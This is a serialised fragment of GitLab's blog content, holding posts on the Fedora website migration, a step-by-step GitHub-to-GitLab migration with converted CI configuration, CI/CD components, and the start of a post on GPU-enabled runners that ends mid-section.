[NetlifyCMS](https://v1.netlifycms.org/) content management system that relies on GitLab as its core. We also simplified the translation pipeline for localizing and internationalizing our website content. By employing continuous integration tools, we were able to generate dynamic test deployments to evaluate our websites before deploying them to the production environment. That success also prompted us to utilize GitLab for storing meeting logs and documentation, streamlining our project management processes even further.\n\nHere's an example.\n\nIn the past, when our websites were based on [Frozen Flask](https://pypi.org/project/Frozen-Flask/), we used various shell scripts to maintain it. These scripts would create an [OCI](https://opencontainers.org/) container using [Podman](https://podman.io/), build static files, perform translations, and serve the website. You can still find the [deprecated](https://pagure.io/fedora-websites) [repositories](https://pagure.io/fedora-web/websites/) where this was the standard development, testing, and deployment method. Although this process was automated using Ansible in our community infrastructure, it seemed complex for less experienced contributors.\n\nAfter transitioning to GitLab, we could deploy to our fast-changing staging environments directly from [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) while the slow-changing production environment remained on the community infrastructure. We also utilized GitLab's CI/CD features to test merge requests with ephemeral deployment environments. Since the automation is integrated into the project itself, any push to the primary branch or merge request triggers a deployment workflow. This consolidation of automation into a single unit has further streamlined our processes.\n\n## Better workflow, healthier community\nChanges like these were critical to the Fedora Project's overall [mission to foster an inviting environment](https://docs.fedoraproject.org/en-US/project/#_our_community) for contributors. Our new GitLab-centric workflow improved the experience for team members who wanted to contribute to documenting and translating content without having to navigate the technical intricacies of using Git. By lowering the entry barrier, we aimed to attract prospective newcomers and promote a more inclusive team dynamic.\n\nAs a result, we saw content contributions from other teams. And then, gradually, more folks joined us in our revamp efforts, helping to [make this community initiative a success](https://communityblog.fedoraproject.org/tag/websites-and-apps-initiative-wrapup/).\n\n*The [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) are building the future of open source on GitLab. Connect with them on [Gitlab.com](https://gitlab.com/gitlab-com/marketing/community-relations/open-source-program/gitlab-open-source-partners).*\n\nPhoto by [Hannah Busing](https://unsplash.com/@hannahbusing?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on Unsplash.\n{: .note}\n\n\n",[815,267,754],{"slug":9359,"featured":6,"template":678},"building-new-fedora-project-website-with-gitlab","content:en-us:blog:building-new-fedora-project-website-with-gitlab.yml","Building New Fedora Project Website With Gitlab","en-us/blog/building-new-fedora-project-website-with-gitlab.yml","en-us/blog/building-new-fedora-project-website-with-gitlab",{"_path":9365,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9366,"content":9371,"config":9375,"_id":9377,"_type":16,"title":9378,"_source":17,"_file":9379,"_stem":9380,"_extension":20},"/en-us/blog/github-to-gitlab-migration-made-easy",{"title":9367,"description":9368,"ogTitle":9367,"ogDescription":9368,"noIndex":6,"ogImage":7727,"ogUrl":9369,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9369,"schema":9370},"GitHub to GitLab migration the easy way","Learn how easy it is to migrate from GitHub to GitLab using GitLab's project import functionality.","https://about.gitlab.com/blog/github-to-gitlab-migration-made-easy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitHub to GitLab migration the easy way\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2023-07-11\",\n      }",{"title":9367,"description":9368,"authors":9372,"heroImage":7727,"date":9355,"body":9373,"category":962,"tags":9374},[1622],"\nIf you are using different CI/CD tools and are considering migrating over to GitLab, you may be wondering about\nthe difficulty of the migration process. Migration is usually a concern for [DevSecOps](https://about.gitlab.com/topics/devsecops/) teams when considering a new solution. This is due to the fact that migrating may involve heavy lifting. However, migrating to the GitLab AI-powered DevSecOps Platform can be extremely simple and I will show you how step by step. \n\nIn this blog post, we will go over how to migrate from GitHub to GitLab using our [project import](https://docs.gitlab.com/ee/user/project/import/) functionality. Manually migrating GitHub Actions to GitLab pipelines will be covered as well. I have also created a video going over the migration process for those who prefer that format:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## What data can be migrated from GitHub to GitLab?\nGitLab's built-in importer allows for GitHub projects to be automatically migrated into GitLab. The built-in importer\nis accessed directly from GitLab's project creation UI. From the UI, you can select what data you wish to migrate to GitLab.\n\nThe data that can be migrated includes the following:\n* Repository description\n* Git repository data\n* Branch protection rules\n* Collaborators (members)\n* Issues\n* Pull requests\n* Wiki pages\n* Milestones\n* Labels\n* Release notes content\n* Release notes attachments\n* Comment attachments\n* Issue description attachments\n* Pull request description attachments\n* Pull request review comments\n* Regular issue and pull request comments\n* Git Large File Storage (LFS) objects\n* Pull request reviews\n* Pull request assigned reviewers\n* Pull request “merged by” information\n* Pull request comments replies in discussions\n* Pull request review comments suggestions\n* Issue events and pull requests events\n\nGitHub and GitLab have different naming conventions and concepts, so a mapping must be performed during the migration. For example, when collaborators/members are migrated, roles from GitHub are mapped to the appropriate GitLab roles as follows:\n\n| GitHub role | GitLab role |\n| ----------- | ----------- |\n| Read        | Guest       |\n| Triage      | Reporter    |\n| Write       | Developer   |\n| Maintain    | Maintainer  |\n| Admin       | Owner       |\n\n## Prerequisites\nNow that you have an understanding of what can be imported, let's review the prerequisites for performing the migration.\n\nWith the GitLab importer, you can either import your projects from **GitHub.com** or **GitHub Enterprise** to either **GitLab.com** or **Self-managed GitLab** as long as you meet the following requirements:\n* You must be a Maintainer on the GitLab destination group you are importing to from GitHub\n* Each GitHub author and assignee in the repository must have a public-facing email address on GitHub that matches their GitLab email address\n* GitHub accounts must have a public-facing email address that is populated\n* [GitHub import source](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html#configure-allowed-import-sources) must be enabled (Self-managed GitLab only)\n\nWhen migrating a user, GitLab uses the public-facing email address in GitHub to verify the user with the same email on GitLab. Because email ownership is unique, you'll know you have set a valid user with valid permissions.\n\n## Performing the import\nNow let's go over how to perform the migration. I will be migrating my project, the [Reddit sentiment analyzer](https://github.com/fishtoadsoft/reddit-sentiment-analyzer), from GitHub to GitLab. The Reddit sentiment analyzer contains a pull request (called a merge request in GitLab), issues, and comments. \n\n**Note:** While you may not have permissions to my project, the step-by-step process applies to any project you own. I am using my project so you can see how I migrate GitHub Actions in the next section. Now, let's get started!\n\n1) Create a new project in GitLab using the [Project Creation Interface](https://gitlab.com/projects/new).\n\n2) Select the **Import Project** box. This allows you to migrate data from external sources.\n\n![Import project box](https://about.gitlab.com/images/blogimages/2023-july-github-to-gitlab-migration/import_project.png)\n\n3) Under **Import project from**, press the **GitHub** button. This will take you to the **Authenticate with GitHub** page.\n\n4) Press the **Authenticate with GitHub** button. You can also use a [personal access token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens) from GitHub with the **repo scope** if you prefer. This will take you to the GitHub authorization app.\n\n5) From here, you can grant access to [GitHub organization(s)](https://docs.github.com/en/organizations/collaborating-with-groups-in-organizations/about-organizations) where the projects you wish to migrate are located.\n\n![GitHub authorization app](https://about.gitlab.com/images/blogimages/2023-july-github-to-gitlab-migration/github_authorize_app.png)\n\n6) Press the **Grant** button for the organization where the project you wish to migrate is stored.\n\n7) Press the **Authorize gitlabhq** button to grant GitLab access to the organization(s) selected. You will then be taken to the import selection page.\n\n8) From here, you can select the items you wish to import. \n\n![Import selection](https://about.gitlab.com/images/blogimages/2023-july-github-to-gitlab-migration/import_selection.png)\n\n**Note:** The more items you choose to migrate, the longer the import will take.\n\n9) Then you must set the GitLab location you want to migrate the GitHub project to.\n\n![Set the GitLab location to migrate to](https://about.gitlab.com/images/blogimages/2023-july-github-to-gitlab-migration/import_to.png)\n\n10) Press the **Import** button and the import will begin. You can see the progress in the UI. Once the import is complete the status will be changed to \"complete.\"\n\n[Import progress status](/images/blogimages/2023-july-github-to-gitlab-migration/import_progress.png)\n\nNow you should have the imported project in your workspace. Mine is called [https://gitlab.com/awkwardferny/reddit-sentiment-analyzer](https://gitlab.com/awkwardferny/reddit-sentiment-analyzer). When examining the imported project, you can see the following:\n\n**Repository has been migrated**\n\n![Repository has been migrated](https://about.gitlab.com/images/blogimages/2023-july-github-to-gitlab-migration/migrated_data.png)\n\n**Issue has been migrated**\n\n![Issue has been migrated](https://about.gitlab.com/images/blogimages/2023-july-github-to-gitlab-migration/migrated_issue.png)\n\n**Merge request has been migrated**\n\n![Merge request has been migrated](https://about.gitlab.com/images/blogimages/2023-july-github-to-gitlab-migration/migrated_merge_request.png)\n\n## Migrating GitHub Actions over to GitLab CI/CD\nNow that you have migrated the project over from GitHub, notice that none of the GitHub Actions are running. Don't worry, they are very easy to migrate manually. So let's start the migration process for Actions.\n\n1) Examine the GitHub Actions within the **.github/workflows** folder. In the [project you just imported](https://gitlab.com/awkwardferny/reddit-sentiment-analyzer/-/tree/master/.github/workflows), you should see three different Action files:\n\n#### lint.yml\nThis file contains the Action, which performs linting on the source code using flake8. It uses the python:3.10 Docker image and installs the application requirements before performing the lint.\n\n```yaml\nname: \"Lint\"\n\non:\n  push:\n    branches: [ master ]\n  pull_request:\n    branches: [ master ]\n\njobs:\n  lint:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v3\n    - name: Set up Python 3.10\n      uses: actions/setup-python@v4\n      with:\n        python-version: \"3.10\"\n    - name: Install dependencies\n      run: |\n        python -m pip install --upgrade pip\n        pip install flake8 pytest\n        if [ -f requirements.txt ]; then pip install -r requirements.txt; fi\n    - name: Lint with flake8\n      run: |\n        # stop the build if there are Python syntax errors or undefined names\n        flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics\n        # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide\n        flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics\n```\n\n#### smoke.yml\nThis file contains the action which performs a smoke test by just running the CLI help menu. It uses the python:3.10 Docker image and installs the application requirements before performing the smoke test.\n\n```yaml\nname: \"Smoke Tests\"\n\non:\n  push:\n    branches: [ master ]\n  pull_request:\n    branches: [ master ]\n\njobs:\n  smoke-tests:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v3\n    - name: Set up Python 3.10\n      uses: actions/setup-python@v4\n      with:\n        python-version: \"3.10\"\n    - name: Install dependencies\n      run: |\n        python -m pip install --upgrade pip\n        pip install setuptools\n        if [ -f requirements.txt ]; then pip install -r requirements.txt; fi\n    - name: Install Sentiment Analysis Application\n      run: |\n        python setup.py install\n    - name: Run smoke tests\n      run: |\n        reddit-sentiment --help\n```\n\n#### unit.yml\nThis file contains the Action, which performs unit tests using pytest. It uses the python:3.10 Docker image and installs the application requirements running the unit tests.\n\n```yaml\nname: \"Unit Tests\"\n\non:\n  push:\n    branches: [ master ]\n  pull_request:\n    branches: [ master ]\n\njobs:\n  unit-tests:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v3\n    - name: Set up Python 3.10\n      uses: actions/setup-python@v4\n      with:\n        python-version: \"3.10\"\n    - name: Install dependencies\n      run: |\n        python -m pip install --upgrade pip\n        pip install pytest\n        if [ -f requirements.txt ]; then pip install -r requirements.txt; fi\n    - name: Test with pytest\n      run: |\n        python -m pip install --upgrade pip\n        if [ -f test-requirements.txt ]; then pip install -r test-requirements.txt; fi\n        pytest tests/\n```\n\nNow let's go ahead and migrate these Actions over to GitLab.\n\n2) Go to the recently imported project on GitLab and open up the [WebIDE](https://docs.gitlab.com/ee/user/project/web_ide/).\n\n3) Create a file at the root called [**.gitlab-ci.yml**](https://docs.gitlab.com/ee/ci/yaml/gitlab_ci_yaml.html).\nThis file defines the GitLab pipeline.\n\n4) Add the following configuration, which will add the GitHub Actions as Jobs in the GitLab pipeline. Notice the comments I added describing each section.\n\n```yaml\n# This creates the stages in which the jobs will run. By default all\n# jobs will run in parallel in the stage. Once the jobs are completed\n# successfully then you move on to the next stage. The way jobs run\n# is completely configurable.\nstages:\n  - test\n\n# With the include statement, you can quickly add jobs which have\n# been pre-defined in external YAMLs. The SAST job I included below\n# is provided and maintained by GitLab and adds Static Application\n# Security Testing (SAST) to your pipeline.\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n\n# This is the unit test job which does exactly what is defined in\n# the GitHub Action in unit.yml. You can see it uses the python:3.10\n# Docker image, installs the application dependencies, and then runs\n# the unit tests with pytest. It was added with a simple copy and\n# paste and minor syntax changes.\nunit:\n  image: python:3.10\n  stage: test\n  before_script:\n    - python -m pip install --upgrade pip\n    - pip install pytest\n    - if [ -f requirements.txt ]; then pip install -r requirements.txt; fi\n  script:\n    - pytest tests/\n\n# This is the lint job which does exactly what is defined in the\n# GitHub Action in lint.yml. You can see it uses the python:3.10\n# Docker image, installs the application dependencies, and then\n# performs the linting with flake8. It was added with a simple copy\n# and paste and minor syntax changes.\nlint:\n  image: python:3.10\n  stage: test\n  before_script:\n    - python -m pip install --upgrade pip\n    - pip install flake8\n    - if [ -f requirements.txt ]; then pip install -r requirements.txt; fi\n  script:\n    - flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics\n    - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics\n\n# This is the smoke test job which does exactly what is defined in\n# the GitHub Action in smoke.yml. You can see it uses the python:3.10\n# Docker image, installs the application dependencies, and then runs\n# the smoke tests with the Reddit sentiment analysis CLI. It was\n# added with a simple copy and paste and minor syntax changes.\nsmoke:\n  image: python:3.10\n  stage: test\n  before_script:\n    - python -m pip install --upgrade pip\n    - pip install setuptools\n    - if [ -f requirements.txt ]; then pip install -r requirements.txt; fi\n    - python setup.py install\n  script:\n    - reddit-sentiment --help\n```\n\nYou can see that scripts being executed in GitLab match those scripts within the GitHub Actions. The only thing that has really changed is the syntax setting up the jobs and stages. To learn more on how to create and configure pipelines, check out the [GitLab CI/CD documentation](https://docs.gitlab.com/ee/ci/).\n\n5) Let's check in the code. From the WebIDE click on the Source Control Tab in the side panel of the WebIDE. It is the [third icon from the top](https://code.visualstudio.com/docs/sourcecontrol/overview#_commit). Then press the **Commit to 'main'** button, select **Continue**, and voila, you should now have a running pipeline.\n\n6) Examine the pipeline and make sure the jobs are running properly. Go back to your project and click on the [pipeline](https://docs.gitlab.com/ee/ci/pipelines/) icon. You can see the the four jobs we created have run.\n\n![Four jobs have run](https://about.gitlab.com/images/blogimages/2023-july-github-to-gitlab-migration/gitlab_jobs.png)\n\n7) Click on the **Unit** job and you can see that the unit tests were run successfully.\n\n```bash\n$ pytest tests/\n============================= test session starts ==============================\nplatform linux -- Python 3.10.11, pytest-7.3.1, pluggy-1.0.0\nrootdir: /builds/awkwardferny/reddit-sentiment-analyzer\ncollected 2 items\ntests/test_scraper.py ..                                                 [100%]\n============================== 2 passed in 0.09s ===============================\nCleaning up project directory and file based variables\n00:00\nJob succeeded\n```\n\nAnd that's how simple it is to migrate a project over from GitHub to GitLab!\n\n## What other platforms can GitLab import from?\nThe GitLab importer allows one-click migration from several other platforms. These platforms include:\n* [Bitbucket Cloud](https://docs.gitlab.com/ee/user/project/import/bitbucket.html)\n* [Bitbucket Server (Stash)](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html)\n* [FogBugz](https://docs.gitlab.com/ee/user/project/import/fogbugz.html)\n* [Gitea](https://docs.gitlab.com/ee/user/project/import/gitea.html)\n* [Repository by URL](https://docs.gitlab.com/ee/user/project/import/repo_by_url.html)\n* [Uploading a manifest file (AOSP)](https://docs.gitlab.com/ee/user/project/import/manifest.html)\n* [Jira (issues only)](https://docs.gitlab.com/ee/user/project/import/jira.html)\n\nWe also have documentation covering how to migrate from these platforms:\n* [SVN](https://docs.gitlab.com/ee/user/project/import/#import-from-subversion)\n* [ClearCase](https://docs.gitlab.com/ee/user/project/import/clearcase.html)\n* [CVS](https://docs.gitlab.com/ee/user/project/import/cvs.html)\n* [Perforce](https://docs.gitlab.com/ee/user/project/import/perforce.html)\n* [TFVC](https://docs.gitlab.com/ee/user/project/import/tfvc.html)\n\n---\n\nThanks for reading! Now you know how easy it is to migrate from GitHub over to GitLab. For more information on GitLab\nand migrating from GitHub, follow the links below:\n\n* [GitHub-to-GitLab project migration documentation](https://docs.gitlab.com/ee/user/project/import/github.html)\n* [Available project importers](https://docs.gitlab.com/ee/user/project/import/#available-project-importers)\n* [GitHub-to-GitLab migration video](https://youtu.be/0Id5oMl1Kqs)\n\nAlso, read how GitLab has been named a leader in the DevOps platforms space by [Gartner](https://about.gitlab.com/blog/gitlab-leader-gartner-magic-quadrant-devops-platforms/) and the integrated software delivery platforms space by [Forrester](https://about.gitlab.com/blog/gitlab-leader-forrester-wave-integrated-software-delivery-platforms/).\n\n_Cover image by [Julia Craice](https://unsplash.com/@jcraice?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/migration?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)_\n",[110,696,943,479],{"slug":9376,"featured":6,"template":678},"github-to-gitlab-migration-made-easy","content:en-us:blog:github-to-gitlab-migration-made-easy.yml","Github To Gitlab Migration Made Easy","en-us/blog/github-to-gitlab-migration-made-easy.yml","en-us/blog/github-to-gitlab-migration-made-easy",{"_path":9382,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9383,"content":9389,"config":9394,"_id":9396,"_type":16,"title":9397,"_source":17,"_file":9398,"_stem":9399,"_extension":20},"/en-us/blog/introducing-ci-components",{"title":9384,"description":9385,"ogTitle":9384,"ogDescription":9385,"noIndex":6,"ogImage":9386,"ogUrl":9387,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9387,"schema":9388},"Introducing CI/CD components and how to use them in GitLab","Learn the main benefits for using CI/CD components in your CI/CD pipelines and how to achieve them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667676/Blog/Hero%20Images/buildingblocks.jpg","https://about.gitlab.com/blog/introducing-ci-components","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing CI/CD components and how to use them in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2023-07-10\",\n      }",{"title":9384,"description":9385,"authors":9390,"heroImage":9386,"date":9391,"body":9392,"category":734,"tags":9393},[902],"2023-07-10","\nWelcome to the third blog in our series on GitLab's CI/CD components! If you haven't already, we encourage you to read \"[How to build reusable CI/CD templates](https://about.gitlab.com/blog/how-to-build-reusable-ci-templates/)\" and \"[Use inputs in includable files](https://about.gitlab.com/blog/use-inputs-in-includable-files/)\" to gain a comprehensive understanding of these exciting new capabilities. In this blog post, we'll dive in and explore the power of GitLab's CI/CD components in revolutionizing CI/CD workflows. We'll also provide a glimpse into the future of GitLab's CI/CD ecosystem, including the upcoming release of the [CI/CD catalog](https://docs.gitlab.com/ee/architecture/blueprints/ci_pipeline_components/), a framework containing a collection of these components. With these moves, GitLab is taking a significant step towards streamlining pipeline configurations and enhancing reusability.\n\n### CI/CD components\nIn [GitLab 16.1](https://about.gitlab.com/releases/2023/06/22/gitlab-16-1-released/), an exciting experimental feature called CI/CD components was introduced. CI/CD components are reusable, single-purpose building blocks that abstract away pipeline configuration units.\n\nBy leveraging the power of CI/CD components, users can unlock several key benefits:\n1. **Reusability and abstraction.** CI/CD components allow pipelines to be assembled using abstractions instead of defining all the details in one place. With components encapsulating implementation details, developers can focus on composing pipelines using pre-built, reusable blocks. This approach promotes modularity, code reusability, and simplifies pipeline maintenance.\n2. **Flexibility with input.** Components support input parameters, enabling customization based on pipeline contexts, making them adaptable and reusable across various pipeline stages. Developers gain the ability to build a dynamic CI/CD catalog that is tagged and versioned, providing better control and compatibility. Developers can reference specific component versions, ensuring stability and reproducibility. By leveraging version tags, teams can maintain consistency in their pipelines while easily upgrading to newer versions when desired.\n4. **High-quality standards through testing.** Testing components as part of the development workflow to ensure quality maintains high standards is strongly recommended. By incorporating testing into the CI/CD process, developers can verify the reliability and functionality of components, identify and fix issues early on, and deliver more robust and dependable pipelines.\n5. **The CI/CD catalog.** A centralized repository of components, the CI/CD catalog is set to be released soon, and will act as a treasure trove of components curated to cover a wide range of use cases. This centralized repository offers developers a one-stop shop for discovering, integrating, and sharing components. Teams can benefit from a growing catalog of pre-built, quality-tested components, saving time and effort in configuring their pipelines.\n\nIn the previous blog posts, we discussed the main benefits for the first two points (which are also available with CI/CD templates), but now let's dig deeper into components and how they could revolutionize the way you construct your pipelines.\n\n### Testing a CI/CD component\nAs software development continues to evolve, ensuring the reliability and quality of code components becomes increasingly vital.\n\nOne of the main benefits of using components is the ability to thoroughly test components before software is officially released, enabling a more robust and streamlined development process. In our context, a released component is versioned and will follow a structured syntax, allowing for seamless integration within pipelines. \n\n```yaml\ninclude:\n  - components: /path/to/project@\u003Cversion> \n```\nOne of the unique benefits of our CI/CD components is the flexibility they offer. DevSecOps teams can opt in for an \"unofficial\" release by appending `@commit_SHA`, allowing them to experiment and iterate on their code before making it an official release.\n\n```yaml\ninclude:\n  - components: /path/to/project@\u003Ccommit_SHA> \n```\nTo make a component an official release, users must tag it, essentially creating a versioned snapshot. The tagged release will then be made available in our comprehensive CI/CD catalog (launching soon), providing users with easy access to a range of thoroughly tested and approved components. To ensure the stability and reliability of your CI/CD components, it is crucial to thoroughly test them. DevSecOps teams can leverage the power of our pipeline by utilizing the commit_SHA identifier to run comprehensive tests. If the pipeline successfully passes all tests, they can proceed to tag the component, signifying its readiness for release.\n\nBy configuring a release job based on the tagged version, DevSecOps teams can confidently incorporate the official component into their projects, knowing that it has undergone testing and validation. To learn more about how to test components, you can check out our [documentation](https://docs.gitlab.com/ee/ci/components/#test-a-component) or watch this walkthrough video:\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"1870\" height=\"937\" src=\"https://www.youtube.com/embed/Vw8-ce8LNBs\" title=\"\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n### Versioning and tagging\nAs mentioned in the previous section, DevSecOps teams can leverage the `@version` or the `@commit_SHA` to refer to a component in their pipeline. Another option to refer to a component is by leveraging the `@latest`.\n\n```yaml\ninclude:\n  - components: /path/to/project@latest\n```\nThis will use the latest official (tagged) available components. When used in a pipeline in combination with reliable tests, you can guarantee that your components used in a pipeline will always be tested and verified.\n\n### On the horizon: CI/CD catalog\nOne of the biggest benefits of using components is yet to be seen and will be available with the launch of our CI/CD catalog. The catalog will allow users to search, find, and understand how to use components that are available across their organization, setting a framework for them to collaborate on pipeline constructs so that they can be evolved and improved over time. Stay tuned!\n\n### Dogfooding components \nAt GitLab, we believe in [dogfooding our own product](https://handbook.gitlab.com/handbook/values/#dogfooding). To demonstrate the power and practicality of CI/CD components, we have converted some of our GitLab templates into components and asked our internal team to use them and provide additional feedback. By doing so, we are actively using and testing components in real-world scenarios, uncovering insights, and continuously improving their functionality. In this [group](https://gitlab.com/gitlab-components), we’ve converted Code Quality, Container Scanning and SAST templates into CI/CD components and asked internal teams to use them.\n\nThrough this dogfooding process, we are not only validating the effectiveness of CI/CD components but also gaining invaluable experience and feedback to refine and enhance our offering. It's a testament to our commitment to providing practical and reliable solutions for our users. You can view the ongoing discussions between the internal teams in this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390656).\n\n### Call for action\nThe CI/CD component catalog is currently in an experimental phase, so we advise against using it in a production environment at this time. There is a high probability of changes being made to it. We are currently working on reorganizing the folder structure of the components to prepare for the launch of the CI/CD catalog. You can stay updated on our progress by following our [epic](https://gitlab.com/groups/gitlab-org/-/epics/10728), or let us know what you think in this dedicated [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/407556).\n\n### What's next\nGitLab's CI/CD component catalog and its accompanying CI/CD components feature are ushering in a new era of streamlined pipeline configurations. By embracing reusability, abstraction, input flexibility, versioning, and a centralized catalog, developers can build efficient, adaptable, and maintainable CI/CD workflows. The CI/CD component catalog empowers teams to accelerate their software delivery, collaborate effectively, and leverage the full potential of GitLab's CI/CD capabilities.\n\nStay tuned for the launch of the CI/CD catalog, where you'll gain access to an extensive collection of components, unlocking new possibilities for your pipelines. GitLab remains committed to empowering developers with cutting-edge tools, driving innovation, and simplifying the complexities of modern software development.\n\n> Learn more about the CI/CD Catalog and components:\n>  \n> - [CI/CD Catalog goes GA: No more building pipelines from scratch](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/)\n> \n> - [A CI/CD component builder's journey](https://about.gitlab.com/blog/a-ci-component-builders-journey/)\n>\n> - [FAQ: GitLab CI/CD Catalog](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/)\n>\n> - [Documentation: CI/CD components and CI/CD Catalog](https://docs.gitlab.com/ee/ci/components/)\n> \n\nCover image by [Alexander Grey](https://www.pexels.com/photo/assorted-color-bricks-1148496/) on [Pexels](https://www.pexels.com).\n{: .note}\n",[696,110,754],{"slug":9395,"featured":6,"template":678},"introducing-ci-components","content:en-us:blog:introducing-ci-components.yml","Introducing Ci Components","en-us/blog/introducing-ci-components.yml","en-us/blog/introducing-ci-components",{"_path":9401,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9402,"content":9408,"config":9414,"_id":9416,"_type":16,"title":9417,"_source":17,"_file":9418,"_stem":9419,"_extension":20},"/en-us/blog/empowering-modelops-and-hpc-workloads-with-gpu-enabled-runners",{"title":9403,"description":9404,"ogTitle":9403,"ogDescription":9404,"noIndex":6,"ogImage":9405,"ogUrl":9406,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9406,"schema":9407},"GPU-enabled runners for ModelOps and HPC workloads in CI/CD","Learn how to leverage our GitLab-hosted GPU-enabled runners for ModelOps and high-performance computing workloads.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682702/Blog/Hero%20Images/gitlab-data-science-icon.png","https://about.gitlab.com/blog/empowering-modelops-and-hpc-workloads-with-gpu-enabled-runners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Empower ModelOps and HPC workloads with GPU-enabled runners integrated with CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Engel\"}],\n        \"datePublished\": \"2023-07-06\",\n      }",{"title":9409,"description":9404,"authors":9410,"heroImage":9405,"date":9411,"body":9412,"category":791,"tags":9413},"Empower ModelOps and HPC workloads with GPU-enabled runners integrated with CI/CD",[769],"2023-07-06","\n\n\u003Ci>This blog post is the latest in an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). Start with the first blog post: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nIn today's fast-paced world, organizations are constantly looking to improve their [ModelOps](/direction/modelops/) and high-performance computing (HPC) capabilities. Leveraging powerful graphical processing units ([GPUs](https://www.techtarget.com/searchvirtualdesktop/definition/GPU-graphics-processing-unit)) has become a game-changer for accelerating machine learning workflows and compute-intensive tasks. To help meet these evolving needs, we recently released our first GPU-enabled runners on GitLab.com.\n\nSecurely hosting a GitLab Runner environment for ModelOps and HPC is non-trivial and requires a lot of knowledge and time to set up and maintain. In this blog post, we'll look at some real-world examples of how you can harness the potential of GPU computing for ModelOps or HPC workloads while taking full advantage of a SaaS solution.\n\n## What are GPU-enabled runners?\nGPU-enabled runners are dedicated computing resources for the AI-powered DevSecOps platform. They provide accelerated processing power for ModelOps and HPC such as the training or deployment of large language models ([LLMs](https://www.techtarget.com/whatis/definition/large-language-model-LLM)) as part of ModelOps workloads. In the first iteration of releasing GPU-enabled runners, [GitLab.com SaaS offers](https://docs.gitlab.com/ee/ci/runners/saas/gpu_saas_runner.html) the GCP `n1-standard-4` machine type (4 vCPU, 15 GB memory) with 1 NVIDIA T4 (16 GB memory) attached. The runner behaves like a GitLab Runner on Linux, using the docker+machine [executor](https://docs.gitlab.com/runner/executors/). \n\n## Using GPU-enabled runners\nTo take advantage of GitLab GPU-enabled runners, follow these steps:\n\n### 1. Have a project on GitLab.com\nAll projects on GitLab.com SaaS with a `Premium` or `Ultimate` [subscription](https://about.gitlab.com/pricing/) have the GPU-enabled runners enabled by default - no additional configuration is required.\n\n### 2. Create a job running on GPU-enabled runners\nCreate a job in your `.gitlab-ci.yml` configuration file, and set the [runner `tag`](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#use-tags-to-control-which-jobs-a-runner-can-run) to the `saas-linux-medium-amd64-gpu-standard` value. \n\n```yaml\ngpu-job:\n  stage: build\n  tags:\n    - saas-linux-medium-amd64-gpu-standard\n```\n\n### 3. Select a Docker image with the Nvidia CUDA driver\n\nThe CI/CD job runs in an isolated virtual machine (VM) with a bring-your-own-image policy as with [GitLab SaaS runners on Linux](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html). GitLab mounts the GPU from the host VM into your isolated environment. You must use a Docker image with the GPU driver installed to use the GPU. For Nvidia GPUs, you can use the [CUDA Toolkit](https://catalog.ngc.nvidia.com/orgs/nvidia/containers/cuda) directly, or third-party images with Nvidia drivers installed, such as the [TensorFlow GPU image](https://hub.docker.com/r/tensorflow/tensorflow/).\n\nThe CI/CD job configuration for the Nvidia CUDA base Ubuntu image looks like this:\n\n```yaml\n  image: nvcr.io/nvidia/cuda:12.1.1-base-ubuntu22.04\n```\n\n### 4. Verify that the GPU is working\nTo verify that the GPU drivers are working correctly, you can execute the `nvidia-smi` command in the CI/CD job `script` section. \n\n```yaml\n  script:\n    - nvidia-smi\n```\n\n## Basic usage examples\nLet's explore some basic scenarios where GPU-enabled runners can supercharge your ModelOps and HPC workloads:\n\n### Example 1: 